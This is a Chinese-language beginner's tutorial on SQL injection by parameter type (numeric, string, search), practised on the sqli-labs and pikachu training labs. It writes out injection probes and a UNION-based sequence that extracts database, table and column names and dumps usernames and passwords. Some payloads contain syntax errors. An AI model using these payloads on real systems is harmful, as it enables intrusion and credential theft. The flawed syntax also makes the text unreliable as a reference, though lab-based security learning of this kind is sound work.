暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

sql注入之提交参数类型小结

943

    今天开始正式学习sql注入方面的知识了,闲话短说,直接上货。

注:试验靶场为sqli-labs、pikachu,具体安装百度一下,很简单,不多说了。




提交参数类型

1.数字型

简单说,提交参数为数字,如下图

    提交的数字参数不同,显示的结构不同,我们去查看源码,可以看到他的查询语句。

    

    直接将我们提交的id值带入查询,并返回数据库中对应的数据,由于我设置了语句显示,所以更加直观。


2.字符型

平时我们在网上见到的字符型url

    例如https://xxxx.com/?id=lib,id后面带的不是数字,而是其他参数(当然这只是常见,不是绝对啊),我们返回靶场的第二关,来研究一下字符型提交。

    依旧查看源代码,修改为回显sql语句

    和数字型比较,我们就发现了一个不同之处,我们输入的参数1,被两个单引号包围了。

    我们使用最常用的and1=2进行判断,发现没有显示报错。

    这是因为输入的值和判断语句全部被单引号包含其中,变成了单纯的字符串,达不到原有的效果。

    这时候我们就要使用闭合,使原有的判读语句生效。

    当然,这里的不单单只有引号这种干扰我们,平时还会见到'',"",%,),}等等,就例如sqli靶场的第三关,思路已经有了,就看各位操作了。


3.搜索型

这里以pikachu靶场为例,老样子,修改源码,使其回显。

    可以直观的看到,搜索型的查询语句是这样的

    select * from user where name like '%M9%' 


        这句SLQ语句就是基于用户输入的name的值在表member中搜索匹配username,但是如果输入 'and 1=1 and '%'=' 就变成了

    sql注入就这样产生了。


    下面分享一些搜索型注入判断小技巧

      • 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
        搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
        搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
        搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
        根据两次的返回情况来判断是不是搜索型文本框注入了


      查询语句也简单说一下,就按搜索型注入简单总结一下。

      1.判断字段数:

        %’ order by 1 and ‘%’=’

        2.判断字段显示位置:

          %’ union select 1,2,3,4,5 and ‘%’=‘

          3.爆库名:

            %’ union select 1,2,(select database()),4,5 and ‘%’=‘

            4.爆表名:

              %’ union select 1,2,(select group_concat(table_name) from information_schema.tables table_schema=‘database’),4,5 and ‘%’=‘

              5.爆数据:

                %’ union select 1,2,(select group_concat(column_name) from information_schema.columns table_schema=‘databaseand table_name=‘table’),4,5 and ‘%’=‘

                6.爆字段:

                  %’ union select 1,2,(select group_concat(id0x3a,user,0x3a,passwd) from database.table),4,5 and ‘%’=‘


                      相信你们聪明的脑袋看一下就明白了,如果不熟悉,还是要在靶场练习一下下。



                  文章转载自小白渗透成长之路,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                  评论